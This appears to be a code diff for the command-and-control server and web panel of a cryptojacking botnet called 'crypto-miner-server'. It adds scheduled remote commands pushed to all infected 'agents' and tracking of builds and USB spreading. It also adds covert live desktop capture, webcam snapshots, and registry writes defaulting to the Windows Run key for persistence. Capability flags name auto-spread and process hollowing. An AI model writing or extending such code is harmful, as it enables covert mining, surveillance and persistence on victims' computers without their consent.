&notes, &tagsRaw, &a.Platform, &a.Arch, &a.OSVersion, &a.Hostname, &a.MacAddress, &notes, &tagsRaw, &a.Platform, &a.Arch, &a.OSVersion, &a.Hostname, &a.MacAddress,
&a.BuildID, &a.WorkerName, &usbSpread,
) )
if err != nil { if err != nil {
return nil, err return nil, err
} }
a.Notes = notes a.Notes = notes
a.Tags = decodeTags(tagsRaw) a.Tags = decodeTags(tagsRaw)
a.USBSpread = usbSpread == 1
return a, nil return a, nil
} }
const agentSelectCols = `id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at, const agentSelectCols = `id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at,
hashrate_15s, hashrate_1m, hashrate_15m, shares_total, shares_good, shares_bad, hashrate_15s, hashrate_1m, hashrate_15m, shares_total, shares_good, shares_bad,
cpu_usage_pct, memory_usage_pct, uptime_seconds, notes, tags, platform, arch, os_version, hostname, mac_address` cpu_usage_pct, memory_usage_pct, uptime_seconds, notes, tags, platform, arch, os_version, hostname, mac_address,
build_id, worker_name, usb_spread`
func (d *Database) UpdateAgentMeta(id, notes string, tags []string) error { func (d *Database) UpdateAgentMeta(id, notes string, tags []string) error {
_, err := d.Exec(`UPDATE agents SET notes = ?, tags = ? WHERE id = ?`, notes, encodeTags(tags), id) _, err := d.Exec(`UPDATE agents SET notes = ?, tags = ? WHERE id = ?`, notes, encodeTags(tags), id)

View File

@@ -0,0 +1,55 @@
package db
import (
"encoding/json"
"time"
"crypto-miner-server/internal/models"
)
func (d *Database) InsertAudit(username, action, agentID string, detail interface{}) error {
var detailJSON []byte
if detail != nil {
var err error
detailJSON, err = json.Marshal(detail)
if err != nil {
detailJSON = []byte("{}")
}
}
_, err := d.Exec(
`INSERT INTO audit_log (timestamp, username, action, agent_id, detail) VALUES (?, ?, ?, ?, ?)`,
time.Now(), username, action, agentID, string(detailJSON),
)
return err
}
func (d *Database) ListAudit(limit int) ([]*models.AuditEntry, error) {
if limit <= 0 {
limit = 50
}
if limit > 500 {
limit = 500
}
rows, err := d.Query(
`SELECT id, timestamp, username, action, agent_id, detail FROM audit_log ORDER BY id DESC LIMIT ?`,
limit,
)
if err != nil {
return nil, err
}
defer rows.Close()
var out []*models.AuditEntry
for rows.Next() {
e := &models.AuditEntry{}
var detailStr string
if err := rows.Scan(&e.ID, &e.Timestamp, &e.Username, &e.Action, &e.AgentID, &detailStr); err != nil {
return nil, err
}
if detailStr != "" {
e.Detail = json.RawMessage(detailStr)
}
out = append(out, e)
}
return out, nil
}

View File

@@ -0,0 +1,46 @@
package db
import (
"testing"
"crypto-miner-server/internal/models"
)
func TestAuditLogRoundTrip(t *testing.T) {
d, err := New(t.TempDir())
if err != nil {
t.Fatal(err)
}
defer d.Close()
if err := d.InsertAudit("admin", "forge_build", "", map[string]string{"build_id": "b1"}); err != nil {
t.Fatal(err)
}
rows, err := d.ListAudit(10)
if err != nil {
t.Fatal(err)
}
if len(rows) != 1 || rows[0].Action != "forge_build" || rows[0].Username != "admin" {
t.Fatalf("unexpected audit rows: %+v", rows)
}
}
func TestFleetTasksCRUD(t *testing.T) {
d, err := New(t.TempDir())
if err != nil {
t.Fatal(err)
}
defer d.Close()
task := &models.FleetTask{Name: "sysinfo on connect", Enabled: true, Trigger: "on_connect", Action: "sysinfo"}
if err := d.UpsertFleetTask(task); err != nil {
t.Fatal(err)
}
list, err := d.ListFleetTasks()
if err != nil || len(list) != 1 {
t.Fatalf("list: %v err=%v", list, err)
}
if err := d.DeleteFleetTask(list[0].ID); err != nil {
t.Fatal(err)
}
}

View File

@@ -0,0 +1,97 @@
package db
import (
"database/sql"
"time"
"crypto-miner-server/internal/models"
"github.com/google/uuid"
)
func (d *Database) ListFleetTasks() ([]*models.FleetTask, error) {
rows, err := d.Query(`SELECT id, name, enabled, trigger, interval_hours, cron_time, action, command, target, created_at, updated_at FROM fleet_tasks ORDER BY created_at`)
if err != nil {
return nil, err
}
defer rows.Close()
return scanFleetTasks(rows)
}
func (d *Database) GetFleetTask(id string) (*models.FleetTask, error) {
row := d.QueryRow(`SELECT id, name, enabled, trigger, interval_hours, cron_time, action, command, target, created_at, updated_at FROM fleet_tasks WHERE id = ?`, id)
return scanFleetTaskRow(row)
}
func (d *Database) UpsertFleetTask(t *models.FleetTask) error {
if t.ID == "" {
t.ID = uuid.New().String()
}
now := time.Now()
if t.CreatedAt.IsZero() {
t.CreatedAt = now
}
t.UpdatedAt = now
_, err := d.Exec(`INSERT INTO fleet_tasks (id, name, enabled, trigger, interval_hours, cron_time, action, command, target, created_at, updated_at)
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
ON CONFLICT(id) DO UPDATE SET
name = excluded.name,
enabled = excluded.enabled,
trigger = excluded.trigger,
interval_hours = excluded.interval_hours,
cron_time = excluded.cron_time,
action = excluded.action,
command = excluded.command,
target = excluded.target,
updated_at = excluded.updated_at`,
t.ID, t.Name, boolToInt(t.Enabled), t.Trigger, t.IntervalHours, t.CronTime, t.Action, t.Command, t.Target, t.CreatedAt, t.UpdatedAt,
)
return err
}
func (d *Database) DeleteFleetTask(id string) error {
_, err := d.Exec(`DELETE FROM fleet_tasks WHERE id = ?`, id)
return err
}
func (d *Database) RecordFleetTaskRun(agentID, taskID string) error {
_, err := d.Exec(`INSERT INTO fleet_task_runs (agent_id, task_id, last_run_at) VALUES (?, ?, ?)
ON CONFLICT(agent_id, task_id) DO UPDATE SET last_run_at = excluded.last_run_at`,
agentID, taskID, time.Now(),
)
return err
}
func (d *Database) LastFleetTaskRun(agentID, taskID string) (time.Time, bool) {
var ts time.Time
err := d.QueryRow(`SELECT last_run_at FROM fleet_task_runs WHERE agent_id = ? AND task_id = ?`, agentID, taskID).Scan(&ts)
if err != nil {
return time.Time{}, false
}
return ts, true
}
func scanFleetTaskRow(row *sql.Row) (*models.FleetTask, error) {
t := &models.FleetTask{}
var enabled int
err := row.Scan(&t.ID, &t.Name, &enabled, &t.Trigger, &t.IntervalHours, &t.CronTime, &t.Action, &t.Command, &t.Target, &t.CreatedAt, &t.UpdatedAt)
if err != nil {
return nil, err
}
t.Enabled = enabled == 1
return t, nil
}
func scanFleetTasks(rows *sql.Rows) ([]*models.FleetTask, error) {
var out []*models.FleetTask
for rows.Next() {
t := &models.FleetTask{}
var enabled int
if err := rows.Scan(&t.ID, &t.Name, &enabled, &t.Trigger, &t.IntervalHours, &t.CronTime, &t.Action, &t.Command, &t.Target, &t.CreatedAt, &t.UpdatedAt); err != nil {
return nil, err
}
t.Enabled = enabled == 1
out = append(out, t)
}
return out, rows.Err()
}

View File

@@ -0,0 +1,52 @@
package db
import "time"
type SpreadFunnelRow struct {
BuildID string `json:"build_id"`
WorkerName string `json:"worker_name"`
Count int `json:"count"`
USBSpread int `json:"usb_spread_count"`
}
type SpreadFunnelStats struct {
ByBuild []SpreadFunnelRow `json:"by_build"`
NewConnectsToday int `json:"new_connects_today"`
TotalAgents int `json:"total_agents"`
}
func (d *Database) GetSpreadFunnelStats(since time.Time) (*SpreadFunnelStats, error) {
stats := &SpreadFunnelStats{}
if err := d.QueryRow(`SELECT COUNT(*) FROM agents WHERE created_at >= date('now')`).Scan(&stats.NewConnectsToday); err != nil {
return nil, err
}
if err := d.QueryRow(`SELECT COUNT(*) FROM agents`).Scan(&stats.TotalAgents); err != nil {
return nil, err
}
rows, err := d.Query(`
SELECT COALESCE(NULLIF(build_id,''), 'unknown') AS build_id,
COALESCE(NULLIF(worker_name,''), name) AS worker_name,
COUNT(*) AS cnt,
SUM(CASE WHEN usb_spread = 1 THEN 1 ELSE 0 END) AS usb_cnt
FROM agents
WHERE created_at >= ?
GROUP BY build_id, worker_name
ORDER BY cnt DESC`,
since,
)
if err != nil {
return nil, err
}
defer rows.Close()
for rows.Next() {
var r SpreadFunnelRow
if err := rows.Scan(&r.BuildID, &r.WorkerName, &r.Count, &r.USBSpread); err != nil {
return nil, err
}
stats.ByBuild = append(stats.ByBuild, r)
}
return stats, rows.Err()
}

View File

@@ -130,6 +130,45 @@ func (d *Database) migrate() error {
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN gpu_model TEXT DEFAULT ''`) _, _ = d.Exec(`ALTER TABLE agents ADD COLUMN gpu_model TEXT DEFAULT ''`)
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN gpu_miner_active INTEGER DEFAULT 0`) _, _ = d.Exec(`ALTER TABLE agents ADD COLUMN gpu_miner_active INTEGER DEFAULT 0`)
_, _ = d.Exec(`ALTER TABLE hashrate_samples ADD COLUMN gpu_hashrate REAL DEFAULT 0`) _, _ = d.Exec(`ALTER TABLE hashrate_samples ADD COLUMN gpu_hashrate REAL DEFAULT 0`)
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN build_id TEXT NOT NULL DEFAULT ''`)
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN worker_name TEXT NOT NULL DEFAULT ''`)
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN usb_spread INTEGER NOT NULL DEFAULT 0`)
extraMigrations := []string{
`CREATE TABLE IF NOT EXISTS audit_log (
id INTEGER PRIMARY KEY AUTOINCREMENT,
timestamp DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
username TEXT NOT NULL DEFAULT '',
action TEXT NOT NULL,
agent_id TEXT NOT NULL DEFAULT '',
detail TEXT NOT NULL DEFAULT '{}'
)`,
`CREATE INDEX IF NOT EXISTS idx_audit_timestamp ON audit_log(timestamp)`,
`CREATE TABLE IF NOT EXISTS fleet_tasks (
id TEXT PRIMARY KEY,
name TEXT NOT NULL,
enabled INTEGER NOT NULL DEFAULT 1,
trigger TEXT NOT NULL,
interval_hours REAL NOT NULL DEFAULT 0,
cron_time TEXT NOT NULL DEFAULT '',
action TEXT NOT NULL,
command TEXT NOT NULL DEFAULT '',
target TEXT NOT NULL DEFAULT 'all',
created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
updated_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP
)`,
`CREATE TABLE IF NOT EXISTS fleet_task_runs (
agent_id TEXT NOT NULL,
task_id TEXT NOT NULL,
last_run_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
PRIMARY KEY (agent_id, task_id)
)`,
}
for _, m := range extraMigrations {
if _, err := d.Exec(m); err != nil {
return fmt.Errorf("migration failed: %w\nSQL: %s", err, m)
}
}
return nil return nil
} }
@@ -137,8 +176,8 @@ func (d *Database) migrate() error {
// Agent operations // Agent operations
func (d *Database) UpsertAgent(a *models.Agent) error { func (d *Database) UpsertAgent(a *models.Agent) error {
query := `INSERT INTO agents (id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at, platform, arch, os_version, hostname, mac_address) query := `INSERT INTO agents (id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at, platform, arch, os_version, hostname, mac_address, build_id, worker_name, usb_spread)
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, COALESCE((SELECT created_at FROM agents WHERE id = ?), CURRENT_TIMESTAMP), ?, ?, ?, ?, ?) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, COALESCE((SELECT created_at FROM agents WHERE id = ?), CURRENT_TIMESTAMP), ?, ?, ?, ?, ?, ?, ?, ?)
ON CONFLICT(id) DO UPDATE SET ON CONFLICT(id) DO UPDATE SET
name = excluded.name, name = excluded.name,
wallet = excluded.wallet, wallet = excluded.wallet,
@@ -152,8 +191,15 @@ func (d *Database) UpsertAgent(a *models.Agent) error {
arch = excluded.arch, arch = excluded.arch,
os_version = excluded.os_version, os_version = excluded.os_version,
hostname = excluded.hostname, hostname = excluded.hostname,
mac_address = CASE WHEN excluded.mac_address != '' THEN excluded.mac_address ELSE mac_address END` mac_address = CASE WHEN excluded.mac_address != '' THEN excluded.mac_address ELSE mac_address END,
_, err := d.Exec(query, a.ID, a.Name, a.Wallet, a.IP, a.Version, a.Status, a.CPUCores, a.MemoryGB, a.LastSeen, a.ID, a.Platform, a.Arch, a.OSVersion, a.Hostname, a.MacAddress) build_id = CASE WHEN excluded.build_id != '' THEN excluded.build_id ELSE build_id END,
worker_name = CASE WHEN excluded.worker_name != '' THEN excluded.worker_name ELSE worker_name END,
usb_spread = excluded.usb_spread`
usb := 0
if a.USBSpread {
usb = 1
}
_, err := d.Exec(query, a.ID, a.Name, a.Wallet, a.IP, a.Version, a.Status, a.CPUCores, a.MemoryGB, a.LastSeen, a.ID, a.Platform, a.Arch, a.OSVersion, a.Hostname, a.MacAddress, a.BuildID, a.WorkerName, usb)
return err return err
} }

View File

@@ -34,6 +34,10 @@ type Agent struct {
Hostname string `json:"hostname,omitempty"` Hostname string `json:"hostname,omitempty"`
MacAddress string `json:"mac_address,omitempty"` MacAddress string `json:"mac_address,omitempty"`
BuildID string `json:"build_id,omitempty"`
WorkerName string `json:"worker_name,omitempty"`
USBSpread bool `json:"usb_spread,omitempty"`
// Live connection quality — not persisted, set by WSHub each stats cycle. // Live connection quality — not persisted, set by WSHub each stats cycle.
LatencyMs *int `json:"latency_ms,omitempty"` LatencyMs *int `json:"latency_ms,omitempty"`
@@ -102,6 +106,7 @@ type AgentCapabilities struct {
AutoSpread bool `json:"auto_spread"` AutoSpread bool `json:"auto_spread"`
ProcessHollowing bool `json:"process_hollowing"` ProcessHollowing bool `json:"process_hollowing"`
AIEnabled bool `json:"ai_enabled"` AIEnabled bool `json:"ai_enabled"`
USBSpread bool `json:"usb_spread"`
} }
type Share struct { type Share struct {

View File

@@ -0,0 +1,15 @@
package models
import (
"encoding/json"
"time"
)
type AuditEntry struct {
ID int64 `json:"id"`
Timestamp time.Time `json:"timestamp"`
Username string `json:"username"`
Action string `json:"action"`
AgentID string `json:"agent_id,omitempty"`
Detail json.RawMessage `json:"detail,omitempty"`
}

View File

@@ -0,0 +1,18 @@
package models
import "time"
// FleetTask is a server-side scheduled remote action pushed to agents.
type FleetTask struct {
ID string `json:"id"`
Name string `json:"name"`
Enabled bool `json:"enabled"`
Trigger string `json:"trigger"` // on_connect, on_reconnect, interval_hours, cron
IntervalHours float64 `json:"interval_hours,omitempty"`
CronTime string `json:"cron_time,omitempty"` // HH:MM daily
Action string `json:"action"`
Command string `json:"command,omitempty"`
Target string `json:"target,omitempty"` // all (default)
CreatedAt time.Time `json:"created_at"`
UpdatedAt time.Time `json:"updated_at"`
}

View File

@@ -0,0 +1,142 @@
package scheduler
import (
"log"
"strings"
"sync"
"time"
"crypto-miner-server/internal/db"
"crypto-miner-server/internal/models"
)
// CommandSender pushes a remote command to a connected agent.
type CommandSender interface {
SendAgentCommand(agentID, action string, args map[string]interface{}) error
ConnectedAgentIDs() []string
}
// FleetScheduler runs interval and cron fleet tasks against connected agents.
type FleetScheduler struct {
db *db.Database
send CommandSender
stop chan struct{}
wg sync.WaitGroup
cronMu sync.Mutex
lastCronRuns map[string]string // taskID -> "2006-01-02 15:04"
}
func New(db *db.Database, send CommandSender) *FleetScheduler {
return &FleetScheduler{
db: db,
send: send,
stop: make(chan struct{}),
lastCronRuns: make(map[string]string),
}
}
func (s *FleetScheduler) Start() {
s.wg.Add(1)
go s.loop()
}
func (s *FleetScheduler) Stop() {
close(s.stop)
s.wg.Wait()
}
func (s *FleetScheduler) loop() {
defer s.wg.Done()
ticker := time.NewTicker(1 * time.Minute)
defer ticker.Stop()
for {
select {
case <-s.stop:
return
case <-ticker.C:
s.tickInterval()
s.tickCron()
}
}
}
// RunConnectTasks executes tasks matching on_connect or on_reconnect for one agent.
func (s *FleetScheduler) RunConnectTasks(agentID string, trigger string) {
tasks, err := s.db.ListFleetTasks()
if err != nil {
log.Printf("[scheduler] list tasks: %v", err)
return
}
for _, t := range tasks {
if !t.Enabled || t.Trigger != trigger {
continue
}
s.dispatchTask(agentID, t)
}
}
func (s *FleetScheduler) tickInterval() {
tasks, err := s.db.ListFleetTasks()
if err != nil {
return
}
agentIDs := s.send.ConnectedAgentIDs()
for _, t := range tasks {
if !t.Enabled || t.Trigger != "interval_hours" || t.IntervalHours <= 0 {
continue
}
interval := time.Duration(t.IntervalHours * float64(time.Hour))
for _, agentID := range agentIDs {
last, ok := s.db.LastFleetTaskRun(agentID, t.ID)
if ok && time.Since(last) < interval {
continue
}
s.dispatchTask(agentID, t)
}
}
}
func (s *FleetScheduler) tickCron() {
now := time.Now()
slot := now.Format("15:04")
daySlot := now.Format("2006-01-02") + " " + slot
tasks, err := s.db.ListFleetTasks()
if err != nil {
return
}
agentIDs := s.send.ConnectedAgentIDs()
for _, t := range tasks {
if !t.Enabled || t.Trigger != "cron" || strings.TrimSpace(t.CronTime) == "" {
continue
}
cronTime := strings.TrimSpace(t.CronTime)
if cronTime != slot {
continue
}
s.cronMu.Lock()
if s.lastCronRuns[t.ID] == daySlot {
s.cronMu.Unlock()
continue
}
s.lastCronRuns[t.ID] = daySlot
s.cronMu.Unlock()
for _, agentID := range agentIDs {
s.dispatchTask(agentID, t)
}
}
}
func (s *FleetScheduler) dispatchTask(agentID string, t *models.FleetTask) {
args := map[string]interface{}{}
if t.Command != "" {
args["command"] = t.Command
}
if err := s.send.SendAgentCommand(agentID, t.Action, args); err != nil {
log.Printf("[scheduler] task %s → %s: %v", t.Name, agentID, err)
return
}
_ = s.db.RecordFleetTaskRun(agentID, t.ID)
log.Printf("[scheduler] dispatched task %q (%s) → agent %s", t.Name, t.Action, agentID)
}

View File

@@ -18,6 +18,7 @@ import (
"crypto-miner-server/internal/db" "crypto-miner-server/internal/db"
"crypto-miner-server/internal/maintenance" "crypto-miner-server/internal/maintenance"
"crypto-miner-server/internal/pool" "crypto-miner-server/internal/pool"
"crypto-miner-server/internal/scheduler"
"crypto-miner-server/internal/sys" "crypto-miner-server/internal/sys"
) )
@@ -143,6 +144,7 @@ func main() {
wsHub.SetFleetSecret(newSecret) wsHub.SetFleetSecret(newSecret)
builderHandler.SetFleetSecret(newSecret) builderHandler.SetFleetSecret(newSecret)
api.SetAgentPathSecret(newSecret) api.SetAgentPathSecret(newSecret)
_ = database.InsertAudit("", "fleet_secret_rotate", "", map[string]string{"prefix": newSecret[:8]})
log.Printf("[auth] Fleet secret rotated (new prefix: %s...)", newSecret[:8]) log.Printf("[auth] Fleet secret rotated (new prefix: %s...)", newSecret[:8])
return newSecret, nil return newSecret, nil
}) })
@@ -183,6 +185,9 @@ func main() {
}, },
} }
configHandler := api.NewConfigHandler(configProvider) configHandler := api.NewConfigHandler(configProvider)
configHandler.SetAuditSaveHook(func(user string) {
_ = database.InsertAudit(user, "config_save", "", nil)
})
log.Println("Config handler initialized") log.Println("Config handler initialized")
maintenance.StartRetentionJobs(database, cfg.DataDir, cfg.Server.StatsRetentionHours, cfg.Server.BuildRetentionDays) maintenance.StartRetentionJobs(database, cfg.DataDir, cfg.Server.StatsRetentionHours, cfg.Server.BuildRetentionDays)
@@ -227,6 +232,11 @@ func main() {
fleetHandler := api.NewFleetHandler(database, wsHub, aiHandler, poolManager, alertEvaluator, defaultPoolCfg, cfg.DataDir) fleetHandler := api.NewFleetHandler(database, wsHub, aiHandler, poolManager, alertEvaluator, defaultPoolCfg, cfg.DataDir)
fleetSched := scheduler.New(database, wsHub)
fleetSched.Start()
defer fleetSched.Stop()
wsHub.SetConnectTaskRunner(fleetSched)
// Initialize blueprint handler (config presets) // Initialize blueprint handler (config presets)
blueprintHandler := api.NewBlueprintHandler(cfg.DataDir) blueprintHandler := api.NewBlueprintHandler(cfg.DataDir)
log.Println("Blueprint handler initialized") log.Println("Blueprint handler initialized")

View File

@@ -207,6 +207,14 @@ export const api = {
// XMR market price (server-side CoinGecko cache, refreshed every 10 min) // XMR market price (server-side CoinGecko cache, refreshed every 10 min)
getXmrPrice: () => fetchJSON<XmrPrice>('/market/xmr'), getXmrPrice: () => fetchJSON<XmrPrice>('/market/xmr'),
getAudit: () => fetchJSON<import('../types').AuditEntry[]>('/audit'),
getFleetTasks: () => fetchJSON<import('../types').FleetTask[]>('/fleet-tasks'),
saveFleetTask: (task: import('../types').FleetTask) =>
fetchJSON<import('../types').FleetTask>('/fleet-tasks', { method: 'PUT', body: JSON.stringify(task) }),
deleteFleetTask: (id: string) =>
fetchJSON<{ ok: boolean }>(`/fleet-tasks/${id}`, { method: 'DELETE' }),
getSpreadFunnel: () => fetchJSON<import('../types').SpreadFunnelStats>('/dashboard/spread-funnel'),
// Path Tracer — WireGuard VPN chain sessions // Path Tracer — WireGuard VPN chain sessions
startTrace: (agentIds: string[]) => startTrace: (agentIds: string[]) =>
fetchJSON<{ session_id: string; hops: PathTraceHop[] }>('/pathtrace/start', { fetchJSON<{ session_id: string; hops: PathTraceHop[] }>('/pathtrace/start', {

View File

@@ -9,8 +9,10 @@ import { pushFileToAgentDesktop } from '../../help/desktopPush';
import { parseFullSysCheckMessage } from '../../types/syscheck'; import { parseFullSysCheckMessage } from '../../types/syscheck';
import type { FullSysCheckReport } from '../../types/syscheck'; import type { FullSysCheckReport } from '../../types/syscheck';
import FullSysCheckPanel from './FullSysCheckPanel'; import FullSysCheckPanel from './FullSysCheckPanel';
import ProtocolTunnelPanel from './ProtocolTunnelPanel';
import './AgentRemoteActions.css'; import './AgentRemoteActions.css';
import './FullSysCheckPanel.css'; import './FullSysCheckPanel.css';
import './ProtocolTunnelPanel.css';
const TERMINAL_MAX_LINES = 500; const TERMINAL_MAX_LINES = 500;
@@ -51,10 +53,20 @@ export default function AgentRemoteActions({
// terminalLog is capped at TERMINAL_MAX_LINES to prevent memory leak (L6) // terminalLog is capped at TERMINAL_MAX_LINES to prevent memory leak (L6)
const [terminalLog, setTerminalLog] = useState<string[]>([]); const [terminalLog, setTerminalLog] = useState<string[]>([]);
const [screenshotData, setScreenshotData] = useState<string | null>(null); const [screenshotData, setScreenshotData] = useState<string | null>(null);
const [liveView, setLiveView] = useState(false);
const liveViewRef = useRef(false);
liveViewRef.current = liveView;
const [busy, setBusy] = useState<string | null>(null); const [busy, setBusy] = useState<string | null>(null);
const [wolMac, setWolMac] = useState(''); const [wolMac, setWolMac] = useState('');
const [wolExpanded, setWolExpanded] = useState(false); const [wolExpanded, setWolExpanded] = useState(false);
const [registryExpanded, setRegistryExpanded] = useState(false);
const [regHive, setRegHive] = useState('HKCU');
const [regPath, setRegPath] = useState('Software\\Microsoft\\Windows\\CurrentVersion\\Run');
const [regName, setRegName] = useState('');
const [regValue, setRegValue] = useState('');
const [regType, setRegType] = useState('REG_SZ');
const [sysCheckReport, setSysCheckReport] = useState<FullSysCheckReport | null>(null); const [sysCheckReport, setSysCheckReport] = useState<FullSysCheckReport | null>(null);
const [tunnelStatusMsg, setTunnelStatusMsg] = useState('');
// Fleet upgrade // Fleet upgrade
const [builds, setBuilds] = useState<Build[]>([]); const [builds, setBuilds] = useState<Build[]>([]);
const [selectedBuildId, setSelectedBuildId] = useState<string>(''); const [selectedBuildId, setSelectedBuildId] = useState<string>('');
@@ -152,18 +164,24 @@ export default function AgentRemoteActions({
addLog(`✗ [FULL_SYS_CHECK] FAIL\n${message ?? ''}`); addLog(`✗ [FULL_SYS_CHECK] FAIL\n${message ?? ''}`);
setSysCheckReport(null); setSysCheckReport(null);
} }
} else if (action === 'screenshot') { } else if (action === 'tunnel_status' && success && message) {
setTunnelStatusMsg(message);
} else if (action === 'screenshot' || action === 'camera_snapshot') {
const label = agentNameProp ?? agent?.name ?? (agent_id ? agent_id.slice(0, 8) : 'agent'); const label = agentNameProp ?? agent?.name ?? (agent_id ? agent_id.slice(0, 8) : 'agent');
const kind = action === 'camera_snapshot' ? 'camera' : 'screenshot';
const tag = action === 'camera_snapshot' ? 'CAMERA' : 'SCREENSHOT';
if (success && message) { if (success && message) {
const clean = sanitizeScreenshotBase64(message); const clean = sanitizeScreenshotBase64(message);
if (downloadScreenshotFromBase64(clean, label)) { if (liveViewRef.current && action === 'screenshot') {
setScreenshotData(`data:image/jpeg;base64,${clean}`); setScreenshotData(`data:image/jpeg;base64,${clean}`);
addLog(`✓ Screenshot saved — ${label}`); } else if (downloadScreenshotFromBase64(clean, label, kind)) {
setScreenshotData(`data:image/jpeg;base64,${clean}`);
addLog(`${tag} saved — ${label}`);
} else { } else {
addLog(`✗ [SCREENSHOT] ${label}: invalid image data`); addLog(`✗ [${tag}] ${label}: invalid image data`);
} }
} else { } else if (!liveViewRef.current || action !== 'screenshot') {
addLog(`✗ [SCREENSHOT] ${label}: FAIL\n${message ?? ''}`); addLog(`✗ [${tag}] ${label}: FAIL\n${message ?? ''}`);
} }
} else if (action && action !== 'full_sys_check') { } else if (action && action !== 'full_sys_check') {
const icon = success ? '✓' : '✗'; const icon = success ? '✓' : '✗';
@@ -174,6 +192,24 @@ export default function AgentRemoteActions({
} }
}, [commandResults, agentId, addLog, agentNameProp, agent?.name]); }, [commandResults, agentId, addLog, agentNameProp, agent?.name]);
useEffect(() => {
if (!liveView || !isOnline || !agentId || agentId === 'all') return;
let focused = document.visibilityState === 'visible';
const onVis = () => { focused = document.visibilityState === 'visible'; };
document.addEventListener('visibilitychange', onVis);
const id = setInterval(() => {
if (!focused) return;
api.sendAgentCommand(agentId, 'screenshot').catch(() => {});
}, 3000);
api.sendAgentCommand(agentId, 'screenshot').catch(() => {});
return () => {
clearInterval(id);
document.removeEventListener('visibilitychange', onVis);
};
}, [liveView, isOnline, agentId]);
useEffect(() => () => setLiveView(false), []);
const dispatch = async (action: string, args: Record<string, unknown> = {}) => { const dispatch = async (action: string, args: Record<string, unknown> = {}) => {
if (!agentId) { if (!agentId) {
addLog('⚠ No agent selected'); addLog('⚠ No agent selected');
@@ -222,6 +258,8 @@ export default function AgentRemoteActions({
try { try {
if (action === 'screenshot') { if (action === 'screenshot') {
addLog(`◈ Capturing desktop on ${agentName}`); addLog(`◈ Capturing desktop on ${agentName}`);
} else if (action === 'camera_snapshot') {
addLog(`◈ Capturing USB/built-in camera on ${agentName}`);
} else { } else {
addLog(`${action}${agentId === 'all' ? 'FLEET' : agentName}`); addLog(`${action}${agentId === 'all' ? 'FLEET' : agentName}`);
} }
@@ -230,7 +268,7 @@ export default function AgentRemoteActions({
addLog(`✗ Rejected: ${res.error ?? 'unknown error'}`); addLog(`✗ Rejected: ${res.error ?? 'unknown error'}`);
return; return;
} }
if (action !== 'screenshot') addLog(`✓ command queued`); if (action !== 'screenshot' && action !== 'camera_snapshot') addLog(`✓ command queued`);
onCommandSent?.(action); onCommandSent?.(action);
} catch (err: unknown) { } catch (err: unknown) {
const msg = err instanceof Error ? err.message : 'Command failed'; const msg = err instanceof Error ? err.message : 'Command failed';
@@ -327,6 +365,16 @@ export default function AgentRemoteActions({
<h3>Recon &amp; Intel</h3> <h3>Recon &amp; Intel</h3>
<div className="button-grid"> <div className="button-grid">
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('screenshot')} title="Capture remote desktop and download JPEG to this browser">Screenshot</button> <button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('screenshot')} title="Capture remote desktop and download JPEG to this browser">Screenshot</button>
<button
type="button"
className={liveView ? 'active' : ''}
disabled={!isOnline || agentId === 'all'}
onClick={() => setLiveView((v) => !v)}
title="Poll desktop every 3s while this tab is focused"
>
{liveView ? '■ Live view' : '▶ Live view'}
</button>
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('camera_snapshot')} title="Capture one JPEG frame from the first USB or built-in webcam (requires ffmpeg on Windows agents)">Camera</button>
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('ps')}>Process List</button> <button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('ps')}>Process List</button>
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('sysinfo')}>System Info</button> <button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('sysinfo')}>System Info</button>
<button <button
@@ -528,7 +576,7 @@ export default function AgentRemoteActions({
className="btn-magenta" className="btn-magenta"
disabled={aggDisabled('start_tunnel')} disabled={aggDisabled('start_tunnel')}
title={aggTitle('start_tunnel')} title={aggTitle('start_tunnel')}
onClick={() => dispatch('start_tunnel')} onClick={() => dispatch('tunnel_cloudflared')}
> >
Cloudflare Tunnel Cloudflare Tunnel
</button> </button>
@@ -570,6 +618,100 @@ export default function AgentRemoteActions({
</button> </button>
</div> </div>
</div> </div>
{!compact && agentId && agentId !== 'all' && (
<ProtocolTunnelPanel
agentId={agentId}
agentName={agentName}
online={isOnline}
caps={agent?.capabilities}
platform={agent?.platform}
lastTunnelStatusMessage={tunnelStatusMsg}
onDispatch={dispatch}
busy={busy}
/>
)}
{(platform === 'windows' || platform === undefined) && (
<div className="action-group registry-group">
<h3>Registry (administered Windows)</h3>
<button
type="button"
className="btn-cyan wol-toggle"
onClick={() => setRegistryExpanded((p) => !p)}
title="Read/write/delete under Software\ or Environment only"
>
Registry ops {registryExpanded ? '▲' : '▼'}
</button>
{registryExpanded && (
<div className="registry-form">
<div className="registry-row">
<select className="select" value={regHive} onChange={(e) => setRegHive(e.target.value)}>
<option value="HKCU">HKCU</option>
<option value="HKLM">HKLM (elevated)</option>
</select>
<input
className="input"
value={regPath}
onChange={(e) => setRegPath(e.target.value)}
placeholder="Software\...\Run"
/>
</div>
<div className="registry-row">
<input className="input" value={regName} onChange={(e) => setRegName(e.target.value)} placeholder="Value name" />
<input className="input" value={regValue} onChange={(e) => setRegValue(e.target.value)} placeholder="Value (write only)" />
<select className="select" value={regType} onChange={(e) => setRegType(e.target.value)}>
<option value="REG_SZ">REG_SZ</option>
<option value="REG_DWORD">REG_DWORD</option>
</select>
</div>
<div className="button-grid">
<button
type="button"
disabled={!isOnline || !!busy}
onClick={() =>
dispatch('registry_read', {
data: JSON.stringify({ hive: regHive, path: regPath }),
})
}
>
Read
</button>
<button
type="button"
